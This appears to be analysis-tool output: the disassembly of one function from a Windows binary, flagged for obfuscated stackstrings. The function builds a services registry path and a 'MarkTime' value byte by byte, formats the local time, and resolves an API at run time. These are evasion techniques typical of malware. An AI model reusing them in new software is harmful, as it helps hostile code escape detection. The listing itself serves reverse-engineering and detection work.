Function at 0x40c401
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x568
push edi
mov byte [ebp - 0x52c], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x52b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x12c], 0x53
mov byte [ebp - 0x12b], 0x59
mov byte [ebp - 0x12a], 0x53
mov byte [ebp - 0x129], 0x54
mov byte [ebp - 0x128], 0x45
mov byte [ebp - 0x127], 0x4d
mov byte [ebp - 0x126], 0x5c
mov byte [ebp - 0x125], 0x43
mov byte [ebp - 0x124], 0x75
mov byte [ebp - 0x123], 0x72
mov byte [ebp - 0x122], 0x72
mov byte [ebp - 0x121], 0x65
mov byte [ebp - 0x120], 0x6e
mov byte [ebp - 0x11f], 0x74
mov byte [ebp - 0x11e], 0x43
mov byte [ebp - 0x11d], 0x6f
mov byte [ebp - 0x11c], 0x6e
mov byte [ebp - 0x11b], 0x74
mov byte [ebp - 0x11a], 0x72
mov byte [ebp - 0x119], 0x6f
mov byte [ebp - 0x118], 0x6c
mov byte [ebp - 0x117], 0x53
mov byte [ebp - 0x116], 0x65
mov byte [ebp - 0x115], 0x74
mov byte [ebp - 0x114], 0x5c
mov byte [ebp - 0x113], 0x53
mov byte [ebp - 0x112], 0x65
mov byte [ebp - 0x111], 0x72
mov byte [ebp - 0x110], 0x76
mov byte [ebp - 0x10f], 0x69
mov byte [ebp - 0x10e], 0x63
mov byte [ebp - 0x10d], 0x65
mov byte [ebp - 0x10c], 0x73
mov byte [ebp - 0x10b], 0x5c
mov byte [ebp - 0x10a], 0x25
mov byte [ebp - 0x109], 0x73
mov byte [ebp - 0x108], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x12c]
push ecx
lea edx, [ebp - 0x52c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x564]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x544], 0x25
mov byte [ebp - 0x543], 0x34
mov byte [ebp - 0x542], 0x64
mov byte [ebp - 0x541], 0x2d
mov byte [ebp - 0x540], 0x25
mov byte [ebp - 0x53f], 0x2e
mov byte [ebp - 0x53e], 0x32
mov byte [ebp - 0x53d], 0x64
mov byte [ebp - 0x53c], 0x2d
mov byte [ebp - 0x53b], 0x25
mov byte [ebp - 0x53a], 0x2e
mov byte [ebp - 0x539], 0x32
mov byte [ebp - 0x538], 0x64
mov byte [ebp - 0x537], 0x20
mov byte [ebp - 0x536], 0x25
mov byte [ebp - 0x535], 0x2e
mov byte [ebp - 0x534], 0x32
mov byte [ebp - 0x533], 0x64
mov byte [ebp - 0x532], 0x3a
mov byte [ebp - 0x531], 0x25
mov byte [ebp - 0x530], 0x2e
mov byte [ebp - 0x52f], 0x32
mov byte [ebp - 0x52e], 0x64
mov byte [ebp - 0x52d], 0
mov ecx, dword [ebp - 0x55a]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x55c]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x55e]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x562]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x564]
and edx, 0xffff
push edx
lea eax, [ebp - 0x544]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
mov byte [ebp - 0x550], 0x4d
mov byte [ebp - 0x54f], 0x61
mov byte [ebp - 0x54e], 0x72
mov byte [ebp - 0x54d], 0x6b
mov byte [ebp - 0x54c], 0x54
mov byte [ebp - 0x54b], 0x69
mov byte [ebp - 0x54a], 0x6d
mov byte [ebp - 0x549], 0x65
mov byte [ebp - 0x548], 0
push 0x410f84
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x554], eax
push str.lstrlenA
mov edx, dword [ebp - 0x554]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x568], eax
push 0
lea eax, [ebp - 0x104]
push eax
call dword [ebp - 0x568]
push eax
lea ecx, [ebp - 0x104]
push ecx
push 1
lea edx, [ebp - 0x550]
push edx
lea eax, [ebp - 0x52c]
push eax
push closesocket
call fcn.00408441
add esp, 0x1c
pop edi
mov esp, ebp
pop ebp
ret